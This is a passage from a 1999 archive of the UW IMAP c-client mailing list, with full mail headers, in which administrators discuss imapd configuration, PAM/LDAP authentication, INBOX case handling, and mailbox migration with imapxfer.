imapd config file, except we are told to never use this. If all our users have home directories in "/home", would setting black-box-directory to "/home" somehow accomplish this ? 3. The default Netscape behaviour, with the default imapd behaviour, seems to be to browse the users complete home directory to set up folders. I first discovered I could set "IMAP server directory" in Netscape Messenger to "mail", and later found the build notes saying I could edit the source code to change this behaviour. I guess this item is taken care of - I just took a while to find it. 4. Netscape has a checkbox for "Use SSL". Has anyone worked on SSLEAY or similar software which would work with UW IMAPD and Netscape ? Is there any compatible authenication mechanism between Netscape (Unix and Win95) and IMAPD which would prevent passwords appearing in clear on the network ? We are trying to discourage this practice, especially on our application servers, since we have on various occasions had hackers set up Ethernet sniffers. regards, Andrew Deniable unless digitally signed Andrew Daviel, TRIUMF, Canada Tel. +1 (604) 222-7376 http://andrew.triumf.ca/andrew -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 1 14:39:31 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Apr 1999 14:39:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA07691 for ; Thu, 1 Apr 1999 14:39:28 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA08184; Thu, 1 Apr 1999 14:39:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id OAA16769; Thu, 1 Apr 1999 14:38:49 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA08734 for ; Thu, 1 Apr 1999 14:37:13 -0800 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA02650 for ; Thu, 1 Apr 1999 14:37:12 -0800 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id RAA29582 for ; Thu, 1 Apr 1999 17:37:09 -0500 (EST) Message-Id: <3703F513.D3B206AB@rider.edu> Date: Thu, 01 Apr 1999 17:37:07 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Ricardo Stella To: c-client@u.washington.edu Subject: LDAP or PAM authentication... MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I originally subscribed to the wrong list. Sorry if some of you are getting this again... I'm trying to authenticate UW Imap to LDAP. There's no apparent support at this poing. Did anyone got this working ? I got a PAM-LDAP module. So I compiled UW to use PAM authentication (I am using Solaris 2.6). The results are as follow: * With PAM-LDAP as primary authentication and UNIX shadows as secondary (from /etc/pam.conf) UW authenticates with either password. * With UNIX shadows only in /etc/pam.conf, UW simply drops the connection. That is, I simply rem out the PAM-LDAP authentication line in /etc/pam.conf. * With a wrong password entered, UW simply drops the connection. It does not prompt the user for a new password, or tell the user invalid password. The problem is that the client (Netscape) will then try to reattach using the cached password. So, does anyone got PAM to work properly ? What about authenticating to LDAP directly ? Thanks in advance... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 14 02:45:08 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Apr 1999 02:45:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA04959 for ; Wed, 14 Apr 1999 02:45:04 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA27391; Wed, 14 Apr 1999 02:45:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id CAA02183; Wed, 14 Apr 1999 02:44:47 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA31666 for ; Wed, 14 Apr 1999 02:43:49 -0700 Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA29055 for ; Wed, 14 Apr 1999 02:43:48 -0700 Received: from goofy_ex.icomverse.com (goofy-ex.icomverse.com [199.203.140.35]) by alpha.netvision.net.il (8.9.3/8.8.6) with ESMTP id MAA06115 for ; Wed, 14 Apr 1999 12:43:44 +0300 (IDT) Received: by GOOFY_EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id <25JTCAXP>; Wed, 14 Apr 1999 12:43:07 +0300 Message-Id: <5C5BA40F28F1D211AAE200105A057CB0210DFB@GOOFY_EX.QUANTUM.icomverse.com> Date: Wed, 14 Apr 1999 12:43:07 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Rubinstein, Dmitry" To: "'c-client'" Subject: Inbox - mixed case? (UW imapd-4.5) MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, all! There seems to be a bug in the way either UW imapd-4.5 or exchange IMAP 5.5.2448.8 handles the mixed case of INBOX. In UW imapd you can do the following: a1 create inbox/a a1 OK CREATE completed a2 create InBoX/a a2 OK CREATE completed You can then select both of those folders. These are in fact different folders. In the exchange IMAP server the second action will fail. This behavior of UW IMAPD seems to contradict the following paragraph from RFC2060: 5.1. Mailbox Naming The interpretation of mailbox names is implementation-dependent. However, the case-insensitive mailbox name INBOX is a special name reserved to mean "the primary mailbox for this user on this server". -- Dmitry Rubinstein <*> Home: (972)-8-8647229 Cell: (972)-53-428979 dimrub@icomverse.com http://www.wisdom.weizmann.ac.il/~dimrub -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 14 08:43:08 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Apr 1999 08:43:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA01583 for ; Wed, 14 Apr 1999 08:43:06 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA17817; Wed, 14 Apr 1999 08:43:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA27071; Wed, 14 Apr 1999 08:41:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA46580 for ; Wed, 14 Apr 1999 08:40:27 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA10771 for ; Wed, 14 Apr 1999 08:40:26 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id LAA26955 for ; Wed, 14 Apr 1999 11:40:23 -0400 (EDT) Message-Id: <3714B690.10E73FE1@rider.edu> Date: Wed, 14 Apr 1999 11:38:56 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Ricardo Stella To: "'c-client'" Subject: transfer mail via IMAP... References: <5C5BA40F28F1D211AAE200105A057CB0210DFB@GOOFY_EX.QUANTUM.icomverse.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Here's the scenario... I need to batch transfer mail from one server running PMDFs IMAP to another one running UW or maybe Cyrus or Netscpe's. Assuming UW, my plan would be: * Start * For each user in a list, do Make a local $USER directory Connect to the PMDF server as a root equivalent user Retrieve all mail/folders for $USER into $USER directory Disconnect Goto Start * End I assume that this would store all mail/folders into $USER, but in what format ? I guess depending on what I use to call this. Perl would be ideal, or if not something with c-client I guess. If it's stored in UNIX format (ie plain text) I could use the utilities to convert to another format and/or do the same but PUT all mail to the new server for each user, correct ? Pointers/quick scripts anyone ? Thanks in advance... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 14 08:51:26 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Apr 1999 08:51:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA03750 for ; Wed, 14 Apr 1999 08:51:25 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA01167; Wed, 14 Apr 1999 08:51:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA13471; Wed, 14 Apr 1999 08:50:45 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA36604 for ; Wed, 14 Apr 1999 08:49:03 -0700 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA25763 for ; Wed, 14 Apr 1999 08:49:02 -0700 Received: from D-140-142-110-235.dhcp2.washington.edu (D-140-142-110-235.dhcp2.washington.edu [140.142.110.235]) by shiva2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA28857; Wed, 14 Apr 1999 08:48:48 -0700 Message-Id: Date: Wed, 14 Apr 1999 08:48:32 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Ricardo Stella Cc: "'c-client'" Subject: Re: transfer mail via IMAP... In-Reply-To: <3714B690.10E73FE1@rider.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark is on vacation this week, so I'll jump in: for a starting point, take a look at the "imapcopy" utility in the UW distribution. -teg On Wed, 14 Apr 1999, Ricardo Stella wrote: > > Here's the scenario... > > I need to batch transfer mail from one server running PMDFs IMAP to > another one running UW or maybe Cyrus or Netscpe's. Assuming UW, my > plan would be: > > * Start > * For each user in a list, do > Make a local $USER directory > Connect to the PMDF server as a root equivalent user > Retrieve all mail/folders for $USER into $USER directory > Disconnect > Goto Start > * End > > I assume that this would store all mail/folders into $USER, but in what > format ? I guess depending on what I use to call this. Perl would be > ideal, or if not something with c-client I guess. > > If it's stored in UNIX format (ie plain text) I could use the utilities > to convert to another format and/or do the same but PUT all mail to the > new server for each user, correct ? > > Pointers/quick scripts anyone ? > > Thanks in advance... > From pinedev@shivax2.cac.washington.edu Wed Apr 14 10:03:53 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Apr 1999 10:03:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA03377 for ; Wed, 14 Apr 1999 10:03:52 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA03745; Wed, 14 Apr 1999 10:03:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA02119; Wed, 14 Apr 1999 10:02:29 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA33576 for ; Wed, 14 Apr 1999 10:00:44 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA03706 for ; Wed, 14 Apr 1999 10:00:42 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id NAA00614 for ; Wed, 14 Apr 1999 13:00:39 -0400 (EDT) Message-Id: <3714C958.8BEDE15A@rider.edu> Date: Wed, 14 Apr 1999 12:59:04 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Ricardo Stella To: "'c-client'" Subject: LDAP authentication... References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I asked this before but never got an answer... Has anyone been able to authenticate to LDAP ? I've been trying to work with a PAM approach (which would be the ideal way to do, since I could simply switch between LDAP and shadow passwords), but I've been having problems with wrong passwords entered (connection is dropped instead of passing 'bad password' to the client). Also, ideally, this 'authentication' method (either internal, or perl based external) could have a fail-over server, and ultimately, try shadow passwords. Using Solaris 2.6, and Netscape's DS 3.11. Thanks in advance... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 14 11:19:55 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Apr 1999 11:19:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA14968 for ; Wed, 14 Apr 1999 11:19:52 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA22996; Wed, 14 Apr 1999 11:19:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA24752; Wed, 14 Apr 1999 11:18:33 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA127376 for ; Wed, 14 Apr 1999 11:17:46 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA18598 for ; Wed, 14 Apr 1999 11:17:45 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id OAA04757; Wed, 14 Apr 1999 14:17:39 -0400 (EDT) Message-Id: <3714DB5B.19C67E89@rider.edu> Date: Wed, 14 Apr 1999 14:15:55 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Ricardo Stella To: Terry Gray Cc: "'c-client'" Subject: Re: transfer mail via IMAP... References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks Terry... I started to look at the imap utils. There seems to be bugs with imapcopy, but in any case, imapxfer is more likely what I need. Still, imapxfer has bugs. I tested it agains two UW imap 4.5 servers. Both are configured the same (in my case, Solaris 2.6, make gso). I ran it with 'imapxfer "{hostfrom}" "{hostto}"' and what happened was ALL folders were tried to copy over. So I tried using the mail prefix (like you do with some clients such as communicator) 'imapxfer "{hostfrom}mail" "{hostto}mail" This tried to access $HOME/mailmail/* and store it into $HOME/mailmail/ failing of course. So I tried with 'mail/' for both, but now it wanted to pull from $HOME/mail/mail/ and store to $HOME/mail/mail/ I tried different combinations and still... I finally tried from a PMDF server (which defaults to list mailfolders from $HOME) and storing to 'mail/' and it worked as expected, which is in any case what I need to do... Still, the bugs seem to be there... Now, the next question would be, how can I connect as a SUPERUSER but select someone elses mailbox, assuming SUPERUSER has read priviledges on the server. Is this possible from the remote end (ie not touching the server reading from ?) Thanks in advance... Terry Gray wrote: > > Mark is on vacation this week, so I'll jump in: for a starting point, > take a look at the "imapcopy" utility in the UW distribution. > > -teg > > On Wed, 14 Apr 1999, Ricardo Stella wrote: > > > > > Here's the scenario... > > > > I need to batch transfer mail from one server running PMDFs IMAP to > > another one running UW or maybe Cyrus or Netscpe's. Assuming UW, my > > plan would be: > > > > * Start > > * For each user in a list, do > > Make a local $USER directory > > Connect to the PMDF server as a root equivalent user > > Retrieve all mail/folders for $USER into $USER directory > > Disconnect > > Goto Start > > * End > > > > I assume that this would store all mail/folders into $USER, but in what > > format ? I guess depending on what I use to call this. Perl would be > > ideal, or if not something with c-client I guess. > > > > If it's stored in UNIX format (ie plain text) I could use the utilities > > to convert to another format and/or do the same but PUT all mail to the > > new server for each user, correct ? > > > > Pointers/quick scripts anyone ? > > > > Thanks in advance... > > From pinedev@shivax2.cac.washington.edu Wed Apr 14 11:20:55 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Apr 1999 11:20:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA24255 for ; Wed, 14 Apr 1999 11:20:54 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA05840; Wed, 14 Apr 1999 11:20:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA23038; Wed, 14 Apr 1999 11:20:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA08522 for ; Wed, 14 Apr 1999 11:19:39 -0700 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA00942 for ; Wed, 14 Apr 1999 11:19:38 -0700 Received: from D-140-142-110-235.dhcp2.washington.edu (D-140-142-110-235.dhcp2.washington.edu [140.142.110.235]) by shiva2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA03603; Wed, 14 Apr 1999 11:19:27 -0700 Message-Id: Date: Wed, 14 Apr 1999 11:19:09 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Ricardo Stella Cc: "'c-client'" Subject: Re: transfer mail via IMAP... In-Reply-To: <3714DB5B.19C67E89@rider.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ricardo, I'll have to defer to Mark on these issues... -teg On Wed, 14 Apr 1999, Ricardo Stella wrote: > > Thanks Terry... > > I started to look at the imap utils. There seems to be bugs with > imapcopy, but in any case, imapxfer is more likely what I need. > > Still, imapxfer has bugs. > > I tested it agains two UW imap 4.5 servers. Both are configured the > same (in my case, Solaris 2.6, make gso). > > I ran it with 'imapxfer "{hostfrom}" "{hostto}"' and what happened was > ALL folders were tried to copy over. So I tried using the mail prefix > (like you do with some clients such as communicator) > > 'imapxfer "{hostfrom}mail" "{hostto}mail" > > This tried to access $HOME/mailmail/* and store it into $HOME/mailmail/ > failing of course. > > So I tried with 'mail/' for both, but now it wanted to pull from > $HOME/mail/mail/ and store to $HOME/mail/mail/ > > I tried different combinations and still... > > I finally tried from a PMDF server (which defaults to list mailfolders > from $HOME) and storing to 'mail/' and it worked as expected, which is > in any case what I need to do... > > Still, the bugs seem to be there... > > Now, the next question would be, how can I connect as a SUPERUSER but > select someone elses mailbox, assuming SUPERUSER has read priviledges on > the server. Is this possible from the remote end (ie not touching the > server reading from ?) > > Thanks in advance... > From pinedev@shivax2.cac.washington.edu Thu Apr 15 01:22:18 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Apr 1999 01:22:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA27163 for ; Thu, 15 Apr 1999 01:22:17 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA22067; Thu, 15 Apr 1999 01:22:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id BAA28017; Thu, 15 Apr 1999 01:21:55 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA40582 for ; Thu, 15 Apr 1999 01:21:01 -0700 Received: from sobhan.bol.sharif.ac.ir ([194.225.42.50]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA01281 for ; Thu, 15 Apr 1999 01:20:41 -0700 Received: from localhost (majid@localhost) by sobhan.bol.sharif.ac.ir (8.8.6/8.8.6) with ESMTP id MAA00347 for ; Thu, 15 Apr 1999 12:52:06 +0430 Message-Id: Date: Thu, 15 Apr 1999 12:52:05 +0430 (IDT) Reply-To: majid@bol.sharif.ac.ir Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Majid Tajamolian To: c-client@u.washington.edu Subject: IMAP connection timeout (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: sobhan.bol.sharif.ac.ir: majid owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I forward this mail to you, in expectance that you can help me. -- THX, M. Tajamolian ---------- Forwarded message ---------- Date: Tue, 6 Apr 1999 16:25:24 +0430 (IDT) From: Majid Tajamolian To: Pine Discussion Forum Subject: IMAP connection timeout Dear LIST: I have a problem while trying to define a new folder in Incoming-Folders collection using IMAP. I receive the following error message from PINE ver 4.10 after about 25 seconds: [[CLOSED] IMAP connection broken (server response)] The server is located out of our LAN and it seems a timeout occurs due to our slowish connection line to the internet. Any suggestions to overcome this problem? -- THX in advance, M. Tajamolian -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Fri Apr 16 00:31:21 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Apr 1999 00:31:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA04796 for ; Fri, 16 Apr 1999 00:31:20 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA03953; Fri, 16 Apr 1999 00:31:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id AAA29283; Fri, 16 Apr 1999 00:29:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA29280 for ; Fri, 16 Apr 1999 00:28:36 -0700 Received: from nera19.nera.no (gatekeeper.nera.no [194.19.8.2]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id AAA19810 for ; Fri, 16 Apr 1999 00:28:35 -0700 Received: from pcarkn [137.133.127.42] by nera19.nera.no (SMTPD32-4.06) id A6A178C01F0; Fri, 16 Apr 1999 09:28:33 +0200 Message-Id: Date: Fri, 16 Apr 1999 09:28:32 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Arne Knutsen" To: "C-client mailing list" Subject: Email clients based on c-client ? MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0000_01BE87EB.7F110A00" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0000_01BE87EB.7F110A00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I would like to get a list of Email clients (any opsys) using the c-client. -- Arne Knutsen Nera Satcom AS Bergerveien 12 N-1375 Billingstad, Norway Ph: +47 67 24 34 22 Fax: +47 67 24 44 45 URL: http://www.nera.no ------=_NextPart_000_0000_01BE87EB.7F110A00 Content-Type: text/x-vcard; name="Arne Knutsen.vcf" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Arne Knutsen.vcf" BEGIN:VCARD VERSION:2.1 N:Knutsen;Arne FN:Arne Knutsen ORG:Nera Satcom AS;Marine & Mobile, MES Development, MES SW TITLE:R&D engineer TEL;WORK;VOICE:+47 (67) 24 34 22 TEL;HOME;VOICE:+47 (32) 87 18 57 TEL;WORK;FAX:+47 (67) 24 44 45 TEL;HOME;FAX:+47 (32) 87 33 42 ADR;WORK:;;Bergerveien 12;Billingstad;;N-1375;Norway LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:Bergerveien = 12=3D0D=3D0ABillingstad N-1375=3D0D=3D0ANorway ADR;HOME:;;Furubakken 30;Solbergmoen;;N-3058;Norway LABEL;HOME;ENCODING=3DQUOTED-PRINTABLE:Furubakken = 30=3D0D=3D0ASolbergmoen N-3058=3D0D=3D0ANorway X-WAB-GENDER:2 URL: URL:http://www.nera.no BDAY:19590330 EMAIL;PREF;INTERNET:arkn@satcom.nera.no EMAIL;INTERNET:arkn@online.no REV:19990324T075339Z END:VCARD ------=_NextPart_000_0000_01BE87EB.7F110A00-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 19 17:51:05 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Apr 1999 17:51:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA07069 for ; Mon, 19 Apr 1999 17:51:04 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA26700; Mon, 19 Apr 1999 17:51:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id RAA07743; Mon, 19 Apr 1999 17:50:38 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA31526 for ; Mon, 19 Apr 1999 17:48:22 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA30647 for ; Mon, 19 Apr 1999 17:48:21 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (kkt@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA20460; Mon, 19 Apr 1999 